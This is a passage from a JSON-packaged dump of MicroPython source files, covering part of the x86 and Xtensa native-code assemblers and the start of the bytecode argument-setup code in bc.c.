int src_i32) {\n    if (SIGNED_FIT8(src_i32)) {\n        // defaults to 32 bit operation\n        asm_x86_write_byte_2(as, OPCODE_SUB_I8_FROM_RM32, MODRM_R32(5) | MODRM_RM_REG | MODRM_RM_R32(dest_r32));\n        asm_x86_write_byte_1(as, src_i32 & 0xff);\n    } else {\n        // defaults to 32 bit operation\n        asm_x86_write_byte_2(as, OPCODE_SUB_I32_FROM_RM32, MODRM_R32(5) | MODRM_RM_REG | MODRM_RM_R32(dest_r32));\n        asm_x86_write_word32(as, src_i32);\n    }\n}\n\nvoid asm_x86_mul_r32_r32(asm_x86_t *as, int dest_r32, int src_r32) {\n    // imul reg32, reg/mem32 -- 0x0f 0xaf /r\n    asm_x86_write_byte_3(as, 0x0f, 0xaf, MODRM_R32(dest_r32) | MODRM_RM_REG | MODRM_RM_R32(src_r32));\n}\n\n#if 0\n/* shifts not tested */\nvoid asm_x86_shl_r32_by_imm(asm_x86_t *as, int r32, int imm) {\n    asm_x86_write_byte_2(as, OPCODE_SHL_RM32_BY_I8, MODRM_R32(4) | MODRM_RM_REG | MODRM_RM_R32(r32));\n    asm_x86_write_byte_1(as, imm);\n}\n\nvoid asm_x86_shr_r32_by_imm(asm_x86_t *as, int r32, int imm) {\n    asm_x86_write_byte_2(as, OPCODE_SHR_RM32_BY_I8, MODRM_R32(5) | MODRM_RM_REG | MODRM_RM_R32(r32));\n    asm_x86_write_byte_1(as, imm);\n}\n\nvoid asm_x86_sar_r32_by_imm(asm_x86_t *as, int r32, int imm) {\n    asm_x86_write_byte_2(as, OPCODE_SAR_RM32_BY_I8, MODRM_R32(7) | MODRM_RM_REG | MODRM_RM_R32(r32));\n    asm_x86_write_byte_1(as, imm);\n}\n#endif\n\nvoid asm_x86_cmp_r32_with_r32(asm_x86_t *as, int src_r32_a, int src_r32_b) {\n    asm_x86_write_byte_2(as, OPCODE_CMP_R32_WITH_RM32, MODRM_R32(src_r32_a) | MODRM_RM_REG | MODRM_RM_R32(src_r32_b));\n}\n\n#if 0\nvoid asm_x86_cmp_i32_with_r32(asm_x86_t *as, int src_i32, int src_r32) {\n    if (SIGNED_FIT8(src_i32)) {\n        asm_x86_write_byte_2(as, OPCODE_CMP_I8_WITH_RM32, MODRM_R32(7) | MODRM_RM_REG | MODRM_RM_R32(src_r32));\n        asm_x86_write_byte_1(as, src_i32 & 0xff);\n    } else {\n        asm_x86_write_byte_2(as, OPCODE_CMP_I32_WITH_RM32, MODRM_R32(7) | MODRM_RM_REG | MODRM_RM_R32(src_r32));\n        asm_x86_write_word32(as, src_i32);\n    }\n}\n#endif\n\nvoid asm_x86_test_r8_with_r8(asm_x86_t *as, int src_r32_a, int src_r32_b) {\n    // TODO implement for other registers\n    assert(src_r32_a == ASM_X86_REG_EAX);\n    assert(src_r32_b == ASM_X86_REG_EAX);\n    asm_x86_write_byte_2(as, OPCODE_TEST_R8_WITH_RM8, MODRM_R32(src_r32_a) | MODRM_RM_REG | MODRM_RM_R32(src_r32_b));\n}\n\nvoid asm_x86_setcc_r8(asm_x86_t *as, mp_uint_t jcc_type, int dest_r8) {\n    asm_x86_write_byte_3(as, OPCODE_SETCC_RM8_A, OPCODE_SETCC_RM8_B | jcc_type, MODRM_R32(0) | MODRM_RM_REG | MODRM_RM_R32(dest_r8));\n}\n\nSTATIC mp_uint_t get_label_dest(asm_x86_t *as, mp_uint_t label) {\n    assert(label < as->base.max_num_labels);\n    return as->base.label_offsets[label];\n}\n\nvoid asm_x86_jmp_label(asm_x86_t *as, mp_uint_t label) {\n    mp_uint_t dest = get_label_dest(as, label);\n    mp_int_t rel = dest - as->base.code_offset;\n    if (dest != (mp_uint_t)-1 && rel < 0) {\n        // is a backwards jump, so we know the size of the jump on the first pass\n        // calculate rel assuming 8 bit relative jump\n        rel -= 2;\n        if (SIGNED_FIT8(rel)) {\n            asm_x86_write_byte_2(as, OPCODE_JMP_REL8, rel & 0xff);\n        } else {\n            rel += 2;\n            goto large_jump;\n        }\n    } else {\n        // is a forwards jump, so need to assume it's large\n        large_jump:\n        rel -= 5;\n        asm_x86_write_byte_1(as, OPCODE_JMP_REL32);\n        asm_x86_write_word32(as, rel);\n    }\n}\n\nvoid asm_x86_jcc_label(asm_x86_t *as, mp_uint_t jcc_type, mp_uint_t label) {\n    mp_uint_t dest = get_label_dest(as, label);\n    mp_int_t rel = dest - as->base.code_offset;\n    if (dest != (mp_uint_t)-1 && rel < 0) {\n        // is a backwards jump, so we know the size of the jump on the first pass\n        // calculate rel assuming 8 bit relative jump\n        rel -= 2;\n        if (SIGNED_FIT8(rel)) {\n            asm_x86_write_byte_2(as, OPCODE_JCC_REL8 | jcc_type, rel & 0xff);\n        } else {\n            rel += 2;\n            goto large_jump;\n        }\n    } else {\n        // is a forwards jump, so need to assume it's large\n        large_jump:\n        rel -= 6;\n        asm_x86_write_byte_2(as, OPCODE_JCC_REL32_A, OPCODE_JCC_REL32_B | jcc_type);\n        asm_x86_write_word32(as, rel);\n    }\n}\n\nvoid asm_x86_entry(asm_x86_t *as, mp_uint_t num_locals) {\n    asm_x86_push_r32(as, ASM_X86_REG_EBP);\n    asm_x86_mov_r32_r32(as, ASM_X86_REG_EBP, ASM_X86_REG_ESP);\n    if (num_locals > 0) {\n        asm_x86_sub_r32_i32(as, ASM_X86_REG_ESP, num_locals * WORD_SIZE);\n    }\n    asm_x86_push_r32(as, ASM_X86_REG_EBX);\n    asm_x86_push_r32(as, ASM_X86_REG_ESI);\n    asm_x86_push_r32(as, ASM_X86_REG_EDI);\n    // TODO align stack on 16-byte boundary\n    as->num_locals = num_locals;\n}\n\nvoid asm_x86_exit(asm_x86_t *as) {\n    asm_x86_pop_r32(as, ASM_X86_REG_EDI);\n    asm_x86_pop_r32(as, ASM_X86_REG_ESI);\n    asm_x86_pop_r32(as, ASM_X86_REG_EBX);\n    asm_x86_write_byte_1(as, OPCODE_LEAVE);\n    asm_x86_ret(as);\n}\n\n#if 0\nvoid asm_x86_push_arg(asm_x86_t *as, int src_arg_num) {\n    asm_x86_push_disp(as, ASM_X86_REG_EBP, 2 * WORD_SIZE + src_arg_num * WORD_SIZE);\n}\n#endif\n\nvoid asm_x86_mov_arg_to_r32(asm_x86_t *as, int src_arg_num, int dest_r32) {\n    asm_x86_mov_mem32_to_r32(as, ASM_X86_REG_EBP, 2 * WORD_SIZE + src_arg_num * WORD_SIZE, dest_r32);\n}\n\n#if 0\nvoid asm_x86_mov_r32_to_arg(asm_x86_t *as, int src_r32, int dest_arg_num) {\n    asm_x86_mov_r32_to_mem32(as, src_r32, ASM_X86_REG_EBP, 2 * WORD_SIZE + dest_arg_num * WORD_SIZE);\n}\n#endif\n\n// locals:\n//  - stored on the stack in ascending order\n//  - numbered 0 through as->num_locals-1\n//  - EBP points above the last local\n//\n//                          | EBP\n//                          v\n//  l0  l1  l2  ...  l(n-1)\n//  ^                ^\n//  | low address    | high address in RAM\n//\nSTATIC int asm_x86_local_offset_from_ebp(asm_x86_t *as, int local_num) {\n    return (-as->num_locals + local_num) * WORD_SIZE;\n}\n\nvoid asm_x86_mov_local_to_r32(asm_x86_t *as, int src_local_num, int dest_r32) {\n    asm_x86_mov_mem32_to_r32(as, ASM_X86_REG_EBP, asm_x86_local_offset_from_ebp(as, src_local_num), dest_r32);\n}\n\nvoid asm_x86_mov_r32_to_local(asm_x86_t *as, int src_r32, int dest_local_num) {\n    asm_x86_mov_r32_to_mem32(as, src_r32, ASM_X86_REG_EBP, asm_x86_local_offset_from_ebp(as, dest_local_num));\n}\n\nvoid asm_x86_mov_local_addr_to_r32(asm_x86_t *as, int local_num, int dest_r32) {\n    int offset = asm_x86_local_offset_from_ebp(as, local_num);\n    if (offset == 0) {\n        asm_x86_mov_r32_r32(as, dest_r32, ASM_X86_REG_EBP);\n    } else {\n        asm_x86_lea_disp_to_r32(as, ASM_X86_REG_EBP, offset, dest_r32);\n    }\n}\n\n#if 0\nvoid asm_x86_push_local(asm_x86_t *as, int local_num) {\n    asm_x86_push_disp(as, ASM_X86_REG_EBP, asm_x86_local_offset_from_ebp(as, local_num));\n}\n\nvoid asm_x86_push_local_addr(asm_x86_t *as, int local_num, int temp_r32)\n{\n    asm_x86_mov_r32_r32(as, temp_r32, ASM_X86_REG_EBP);\n    asm_x86_add_i32_to_r32(as, asm_x86_local_offset_from_ebp(as, local_num), temp_r32);\n    asm_x86_push_r32(as, temp_r32);\n}\n#endif\n\nvoid asm_x86_call_ind(asm_x86_t *as, void *ptr, mp_uint_t n_args, int temp_r32) {\n    // TODO align stack on 16-byte boundary before the call\n    assert(n_args <= 5);\n    if (n_args > 4) {\n        asm_x86_push_r32(as, ASM_X86_REG_ARG_5);\n    }\n    if (n_args > 3) {\n        asm_x86_push_r32(as, ASM_X86_REG_ARG_4);\n    }\n    if (n_args > 2) {\n        asm_x86_push_r32(as, ASM_X86_REG_ARG_3);\n    }\n    if (n_args > 1) {\n        asm_x86_push_r32(as, ASM_X86_REG_ARG_2);\n    }\n    if (n_args > 0) {\n        asm_x86_push_r32(as, ASM_X86_REG_ARG_1);\n    }\n#ifdef __LP64__\n    // We wouldn't run x86 code on an x64 machine.  This is here to enable\n    // testing of the x86 emitter only.\n    asm_x86_mov_i32_to_r32(as, (int32_t)(int64_t)ptr, temp_r32);\n#else\n    // If we get here, sizeof(int) == sizeof(void*).\n    asm_x86_mov_i32_to_r32(as, (int32_t)ptr, temp_r32);\n#endif\n    asm_x86_write_byte_2(as, OPCODE_CALL_RM32, MODRM_R32(2) | MODRM_RM_REG | MODRM_RM_R32(temp_r32));\n    // this reduces code size by 2 bytes per call, but doesn't seem to speed it up at all\n    /*\n    asm_x86_write_byte_1(as, OPCODE_CALL_REL32);\n    asm_x86_write_word32(as, ptr - (void*)(as->code_base + as->base.code_offset + 4));\n    */\n\n    // the caller must clean up the stack\n    if (n_args > 0) {\n        asm_x86_add_i32_to_r32(as, WORD_SIZE * n_args, ASM_X86_REG_ESP);\n    }\n}\n\n#endif // MICROPY_EMIT_X86\n"
  },
  {
    "path": "micropython/source/py/asmxtensa.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n#include <assert.h>\n\n#include \"py/mpconfig.h\"\n\n// wrapper around everything in this file\n#if MICROPY_EMIT_XTENSA || MICROPY_EMIT_INLINE_XTENSA\n\n#include \"py/asmxtensa.h\"\n\n#define WORD_SIZE (4)\n#define SIGNED_FIT8(x) ((((x) & 0xffffff80) == 0) || (((x) & 0xffffff80) == 0xffffff80))\n#define SIGNED_FIT12(x) ((((x) & 0xfffff800) == 0) || (((x) & 0xfffff800) == 0xfffff800))\n\nvoid asm_xtensa_end_pass(asm_xtensa_t *as) {\n    as->num_const = as->cur_const;\n    as->cur_const = 0;\n\n    #if 0\n    // make a hex dump of the machine code\n    if (as->base.pass == MP_ASM_PASS_EMIT) {\n        uint8_t *d = as->base.code_base;\n        printf(\"XTENSA ASM:\");\n        for (int i = 0; i < ((as->base.code_size + 15) & ~15); ++i) {\n            if (i % 16 == 0) {\n                printf(\"\\n%08x:\", (uint32_t)&d[i]);\n            }\n            if (i % 2 == 0) {\n                printf(\" \");\n            }\n            printf(\"%02x\", d[i]);\n        }\n        printf(\"\\n\");\n    }\n    #endif\n}\n\nvoid asm_xtensa_entry(asm_xtensa_t *as, int num_locals) {\n    // jump over the constants\n    asm_xtensa_op_j(as, as->num_const * WORD_SIZE + 4 - 4);\n    mp_asm_base_get_cur_to_write_bytes(&as->base, 1); // padding/alignment byte\n    as->const_table = (uint32_t*)mp_asm_base_get_cur_to_write_bytes(&as->base, as->num_const * 4);\n\n    // adjust the stack-pointer to store a0, a12, a13, a14 and locals, 16-byte aligned\n    as->stack_adjust = (((4 + num_locals) * WORD_SIZE) + 15) & ~15;\n    asm_xtensa_op_addi(as, ASM_XTENSA_REG_A1, ASM_XTENSA_REG_A1, -as->stack_adjust);\n\n    // save return value (a0) and callee-save registers (a12, a13, a14)\n    asm_xtensa_op_s32i_n(as, ASM_XTENSA_REG_A0, ASM_XTENSA_REG_A1, 0);\n    asm_xtensa_op_s32i_n(as, ASM_XTENSA_REG_A12, ASM_XTENSA_REG_A1, 1);\n    asm_xtensa_op_s32i_n(as, ASM_XTENSA_REG_A13, ASM_XTENSA_REG_A1, 2);\n    asm_xtensa_op_s32i_n(as, ASM_XTENSA_REG_A14, ASM_XTENSA_REG_A1, 3);\n}\n\nvoid asm_xtensa_exit(asm_xtensa_t *as) {\n    // restore registers\n    asm_xtensa_op_l32i_n(as, ASM_XTENSA_REG_A14, ASM_XTENSA_REG_A1, 3);\n    asm_xtensa_op_l32i_n(as, ASM_XTENSA_REG_A13, ASM_XTENSA_REG_A1, 2);\n    asm_xtensa_op_l32i_n(as, ASM_XTENSA_REG_A12, ASM_XTENSA_REG_A1, 1);\n    asm_xtensa_op_l32i_n(as, ASM_XTENSA_REG_A0, ASM_XTENSA_REG_A1, 0);\n\n    // restore stack-pointer and return\n    asm_xtensa_op_addi(as, ASM_XTENSA_REG_A1, ASM_XTENSA_REG_A1, as->stack_adjust);\n    asm_xtensa_op_ret_n(as);\n}\n\nSTATIC uint32_t get_label_dest(asm_xtensa_t *as, uint label) {\n    assert(label < as->base.max_num_labels);\n    return as->base.label_offsets[label];\n}\n\nvoid asm_xtensa_op16(asm_xtensa_t *as, uint16_t op) {\n    uint8_t *c = mp_asm_base_get_cur_to_write_bytes(&as->base, 2);\n    if (c != NULL) {\n        c[0] = op;\n        c[1] = op >> 8;\n    }\n}\n\nvoid asm_xtensa_op24(asm_xtensa_t *as, uint32_t op) {\n    uint8_t *c = mp_asm_base_get_cur_to_write_bytes(&as->base, 3);\n    if (c != NULL) {\n        c[0] = op;\n        c[1] = op >> 8;\n        c[2] = op >> 16;\n    }\n}\n\nvoid asm_xtensa_j_label(asm_xtensa_t *as, uint label) {\n    uint32_t dest = get_label_dest(as, label);\n    int32_t rel = dest - as->base.code_offset - 4;\n    // we assume rel, as a signed int, fits in 18-bits\n    asm_xtensa_op_j(as, rel);\n}\n\nvoid asm_xtensa_bccz_reg_label(asm_xtensa_t *as, uint cond, uint reg, uint label) {\n    uint32_t dest = get_label_dest(as, label);\n    int32_t rel = dest - as->base.code_offset - 4;\n    if (as->base.pass == MP_ASM_PASS_EMIT && !SIGNED_FIT12(rel)) {\n        printf(\"ERROR: xtensa bccz out of range\\n\");\n    }\n    asm_xtensa_op_bccz(as, cond, reg, rel);\n}\n\nvoid asm_xtensa_bcc_reg_reg_label(asm_xtensa_t *as, uint cond, uint reg1, uint reg2, uint label) {\n    uint32_t dest = get_label_dest(as, label);\n    int32_t rel = dest - as->base.code_offset - 4;\n    if (as->base.pass == MP_ASM_PASS_EMIT && !SIGNED_FIT8(rel)) {\n        printf(\"ERROR: xtensa bcc out of range\\n\");\n    }\n    asm_xtensa_op_bcc(as, cond, reg1, reg2, rel);\n}\n\n// convenience function; reg_dest must be different from reg_src[12]\nvoid asm_xtensa_setcc_reg_reg_reg(asm_xtensa_t *as, uint cond, uint reg_dest, uint reg_src1, uint reg_src2) {\n    asm_xtensa_op_movi_n(as, reg_dest, 1);\n    asm_xtensa_op_bcc(as, cond, reg_src1, reg_src2, 1);\n    asm_xtensa_op_movi_n(as, reg_dest, 0);\n}\n\nvoid asm_xtensa_mov_reg_i32(asm_xtensa_t *as, uint reg_dest, uint32_t i32) {\n    if (SIGNED_FIT12(i32)) {\n        asm_xtensa_op_movi(as, reg_dest, i32);\n    } else {\n        // load the constant\n        asm_xtensa_op_l32r(as, reg_dest, as->base.code_offset, 4 + as->cur_const * WORD_SIZE);\n        // store the constant in the table\n        if (as->const_table != NULL) {\n            as->const_table[as->cur_const] = i32;\n        }\n        ++as->cur_const;\n    }\n}\n\nvoid asm_xtensa_mov_local_reg(asm_xtensa_t *as, int local_num, uint reg_src) {\n    asm_xtensa_op_s32i(as, reg_src, ASM_XTENSA_REG_A1, 4 + local_num);\n}\n\nvoid asm_xtensa_mov_reg_local(asm_xtensa_t *as, uint reg_dest, int local_num) {\n    asm_xtensa_op_l32i(as, reg_dest, ASM_XTENSA_REG_A1, 4 + local_num);\n}\n\nvoid asm_xtensa_mov_reg_local_addr(asm_xtensa_t *as, uint reg_dest, int local_num) {\n    asm_xtensa_op_mov_n(as, reg_dest, ASM_XTENSA_REG_A1);\n    asm_xtensa_op_addi(as, reg_dest, reg_dest, (4 + local_num) * WORD_SIZE);\n}\n\n#endif // MICROPY_EMIT_XTENSA || MICROPY_EMIT_INLINE_XTENSA\n"
  },
  {
    "path": "micropython/source/py/bc.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2014 Damien P. George\n * Copyright (c) 2014 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdbool.h>\n#include <string.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/objfun.h\"\n#include \"py/runtime0.h\"\n#include \"py/bc0.h\"\n#include \"py/bc.h\"\n\n#if MICROPY_DEBUG_VERBOSE // print debugging info\n#define DEBUG_PRINT (1)\n#else // don't print debugging info\n#define DEBUG_PRINT (0)\n#define DEBUG_printf(...) (void)0\n#endif\n\nmp_uint_t mp_decode_uint(const byte **ptr) {\n    mp_uint_t unum = 0;\n    byte val;\n    const byte *p = *ptr;\n    do {\n        val = *p++;\n        unum = (unum << 7) | (val & 0x7f);\n    } while ((val & 0x80) != 0);\n    *ptr = p;\n    return unum;\n}\n\n// This function is used to help reduce stack usage at the caller, for the case when\n// the caller doesn't need to increase the ptr argument.  If ptr is a local variable\n// and the caller uses mp_decode_uint(&ptr) instead of this function, then the compiler\n// must allocate a slot on the stack for ptr, and this slot cannot be reused for\n// anything else in the function because the pointer may have been stored in a global\n// and reused later in the function.\nmp_uint_t mp_decode_uint_value(const byte *ptr) {\n    return mp_decode_uint(&ptr);\n}\n\n// This function is used to help reduce stack usage at the caller, for the case when\n// the caller doesn't need the actual value and just wants to skip over it.\nconst byte *mp_decode_uint_skip(const byte *ptr) {\n    while ((*ptr++) & 0x80) {\n    }\n    return ptr;\n}\n\nSTATIC NORETURN void fun_pos_args_mismatch(mp_obj_fun_bc_t *f, size_t expected, size_t given) {\n#if MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE\n    // generic message, used also for other argument issues\n    (void)f;\n    (void)expected;\n    (void)given;\n    mp_arg_error_terse_mismatch();\n#elif MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_NORMAL\n    (void)f;\n    nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n        \"function takes %d positional arguments but %d were given\", expected, given));\n#elif MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_DETAILED\n    nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n        \"%q() takes %d positional arguments but %d were given\",\n        mp_obj_fun_get_name(MP_OBJ_FROM_PTR(f)), expected, given));\n#endif\n}\n\n#if DEBUG_PRINT\nSTATIC void dump_args(const mp_obj_t *a, size_t sz) {\n    DEBUG_printf(\"%p: \", a);\n    for (size_t i = 0; i < sz; i++) {\n        DEBUG_printf(\"%p \", a[i]);\n    }\n    DEBUG_printf(\"\\n\");\n}\n#else\n#define dump_args(...) (void)0\n#endif\n\n// On entry code_state should be allocated somewhere (stack/heap) and\n// contain the following valid entries:\n//    - code_state->fun_bc should contain a pointer to the function object\n//    - code_state->ip should contain the offset in bytes from the pointer\n//      code_state->fun_bc->bytecode to the entry n_state (0 for bytecode, non-zero for native)\nvoid mp_setup_code_state(mp_code_state_t *code_state, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    // This function is pretty complicated.  It's main aim is to be efficient in speed and RAM\n    // usage for the common case of positional only args.\n\n    // get the function object that we want to set up (could be bytecode or native code)\n    mp_obj_fun_bc_t *self = code_state->fun_bc;\n\n    // ip comes in as an offset into bytecode, so turn it into a true pointer\n    code_state->ip = self->bytecode + (size_t)code_state->ip;\n\n    #if MICROPY_STACKLESS\n    code_state->prev = NULL;\n    #endif\n\n    // get params\n    size_t n_state = mp_decode_uint(&code_state->ip);\n    code_state->ip = mp_decode_uint_skip(code_state->ip); // skip n_exc_stack\n    size_t scope_flags = *code_state->ip++;\n    size_t n_pos_args = *code_state->ip++;\n    size_t n_kwonly_args = *code_state->ip++;\n    size_t n_def_pos_args = *code_state->ip++;\n\n    code_state->sp = &code_state->state[0] - 1;\n    code_state->exc_sp = (mp_exc_stack_t*)(code_state->state + n_state) - 1;\n\n    // zero out the local stack to begin with\n    memset(code_state->state, 0, n_state * sizeof(*code_state->state));\n\n    const mp_obj_t *kwargs = args + n_args;\n\n    // var_pos_kw_args points to the stack where the var-args tuple, and var-kw dict, should go (if they are needed)\n    mp_obj_t *var_pos_kw_args = &code_state->state[n_state - 1 - n_pos_args - n_kwonly_args];\n\n    // check positional arguments\n\n    if (n_args > n_pos_args) {\n        // given more than enough arguments\n        if ((scope_flags & MP_SCOPE_FLAG_VARARGS) == 0) {\n            fun_pos_args_mismatch(self, n_pos_args, n_args);\n        }\n        // put extra arguments in varargs tuple\n        *var_pos_kw_args-- = mp_obj_new_tuple(n_args - n_pos_args, args + n_pos_args);\n        n_args = n_pos_args;\n    } else {\n        if ((scope_flags & MP_SCOPE_FLAG_VARARGS) != 0) {\n            DEBUG_printf(\"passing empty tuple as *args\\n\");\n            *var_pos_kw_args-- = mp_const_empty_tuple;\n        }\n        // Apply processing and check below only if we don't have kwargs,\n        // otherwise, kw handling code below has own extensive checks.\n        if (n_kw == 0 && (scope_flags & MP_SCOPE_FLAG_DEFKWARGS) == 0) {\n            if (n_args >= (size_t)(n_pos_args - n_def_pos_args)) {\n                // given enough arguments, but may need to use some default arguments\n                for (size_t i = n_args; i < n_pos_args; i++) {\n                    code_state->state[n_state - 1 - i] = self->extra_args[i - (n_pos_args - n_def_pos_args)];\n                }\n            } else {\n                fun_pos_args_mismatch(self, n_pos_args - n_def_pos_args, n_args);\n            }\n        }\n    }\n\n    // copy positional args into state\n    for (size_t i = 0; i < n_args; i++) {\n        code_state->state[n_state - 1 - i] = args[i];\n    }\n\n    // check keyword arguments\n\n    if (n_kw != 0 || (scope_flags & MP_SCOPE_FLAG_DEFKWARGS) != 0) {\n        DEBUG_printf(\"Initial args: \");\n        dump_args(code_state->state + n_state - n_pos_args - n_kwonly_args, n_pos_args + n_kwonly_args);\n\n        mp_obj_t dict = MP_OBJ_NULL;\n        if ((scope_flags & MP_SCOPE_FLAG_VARKEYWORDS) != 0) {\n            dict = mp_obj_new_dict(n_kw); // TODO: better go conservative with 0?\n            *var_pos_kw_args = dict;\n        }\n\n        // get pointer to arg_names array\n        const mp_obj_t *arg_names = (const mp_obj_t*)self->const_table;\n\n        for (size_t i = 0; i < n_kw; i++) {\n            // the keys in kwargs are expected to be qstr objects\n            mp_obj_t wanted_arg_name = kwargs[2 * i];\n            for (size_t j = 0; j < n_pos_args + n_kwonly_args; j++) {\n                if (wanted_arg_name == arg_names[j]) {\n                    if (code_state->state[n_state - 1 - j] != MP_OBJ_NULL) {\n                        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                            \"function got multiple values for argument '%q'\", MP_OBJ_QSTR_VALUE(wanted_arg_name)));\n                    }\n                    code_state->state[n_state - 1 - j] = kwargs[2 * i + 1];\n                    goto continue2;\n                }\n            }\n            // Didn't find name match with positional args\n            if ((scope_flags & MP_SCOPE_FLAG_VARKEYWORDS) == 0) {\n                if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                    mp_raise_TypeError(\"unexpected keyword argument\");\n                } else {\n                    nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                        \"unexpected keyword argument '%q'\", MP_OBJ_QSTR_VALUE(wanted_arg_name)));\n                }\n            }\n            mp_obj_dict_store(dict, kwargs[2 * i], kwargs[2 * i + 1]);\ncontinue2:;\n        }\n\n        DEBUG_printf(\"Args with kws flattened: \");\n        dump_args(code_state->state + n_state - n_pos_args - n_kwonly_args, n_pos_args + n_kwonly_args);\n\n        // fill in defaults for positional args\n        mp_obj_t *d = &code_state->state[n_state - n_pos_args];\n        mp_obj_t *s = &self->extra_args[n_def_pos_args - 1];\n        for (size_t i = n_def_pos_args; i > 0; i--, d++, s--) {\n            if (*d == MP_OBJ_NULL) {\n                *d = *s;\n            }\n        }\n\n        DEBUG_printf(\"Args after filling default positional: \");\n        dump_args(code_state->state + n_state - n_pos_args - n_kwonly_args, n_pos_args + n_kwonly_args);\n\n        // Check that all mandatory positional args are specified\n        while (d < &code_state->state[n_state]) {\n            if (*d++ == MP_OBJ_NULL) {\n                nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                    \"function missing required positional argument #%d\", &code_state->state[n_state] - d));\n            }\n        }\n\n        // Check that all mandatory keyword args are specified\n        // Fill in default kw args if we have them\n        for (size_t i = 0; i < n_kwonly_args; i++) {\n            if (code_state->state[n_state - 1 - n_pos_args - i] == MP_OBJ_NULL) {\n                mp_map_elem_t *elem = NULL;\n                if ((scope_flags & MP_SCOPE_FLAG_DEFKWARGS) != 0) {\n                    elem = mp_map_lookup(&((mp_obj_dict_t*)MP_OBJ_TO_PTR(self->extra_args[n_def_pos_args]))->map, arg_names[n_pos_args + i], MP_MAP_LOOKUP);\n                }\n                if (elem != NULL) {\n                    code_state->state[n_state - 1 - n_pos_args - i] = elem->value;\n                } else {\n                    nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                        \"function missing required keyword argument '%q'\", MP_OBJ_QSTR_VALUE(arg_names[n_pos_args + i])));\n                }\n            }\n        }\n\n    } else {\n        // no keyword arguments given\n        if (n_kwonly_args != 0) {\n            mp_raise_TypeError(\"function missing keyword-only argument\");\n        }\n        if ((scope_flags & MP_SCOPE_FLAG_VARKEYWORDS) != 0) {\n            *var_pos_kw_args = mp_obj_new_dict(0);\n        }\n    }\n\n    // get the ip and skip argument names\n    const byte *ip = code_state->ip;\n\n    // jump over code info (source file and line-number mapping)\n    ip += mp_decode_uint_value(ip);\n\n    // bytecode prelude: initialise closed over variables\n    size_t local_num;\n    while ((local_num = *ip++) != 255) {\n        code_state->state[n_state - 1 - local_num] =\n            mp_obj_new_cell(code_state->state[n_state - 1 - local_num]);\n    }\n\n    // now that we skipped over the prelude, set the ip for the VM\n    code_state->ip = ip;\n\n    DEBUG_printf(\"Calling: n_pos_args=%d, n_kwonly_args=%d\\n\", n_pos_args, n_kwonly_args);\n    dump_args(code_state->state + n_state - n_pos_args - n_kwonly_args, n_pos_args + n_kwonly_args);\n    dump_args(code_state->state, n_state);\n}\n\n#if MICROPY_PERSISTENT_CODE_LOAD || MICROPY_PERSISTENT_CODE_SAVE\n\n// The following table encodes the number of bytes that a specific opcode\n// takes up.  There are 3 special opcodes that always have an extra byte:\n//     MP_BC_MAKE_CLOSURE\n//     MP_BC_MAKE_CLOSURE_DEFARGS\n//     MP_BC_RAISE_VARARGS\n// There are 4 special opcodes that have an extra byte only when\n// MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE is enabled:\n//     MP_BC_LOAD_NAME\n//     MP_BC_LOAD_GLOBAL\n//     MP_BC_LOAD_ATTR\n//     MP_BC_STORE_ATTR\n#define OC4(a, b, c, d) (a | (b << 2) | (c << 4) | (d << 6))\n#define U (0) // undefined opcode\n#define B (MP_OPCODE_BYTE) // single byte\n#define Q (MP_OPCODE_QSTR) // single byte plus 2-byte qstr\n#define V (MP_OPCODE_VAR_UINT) // single byte plus variable 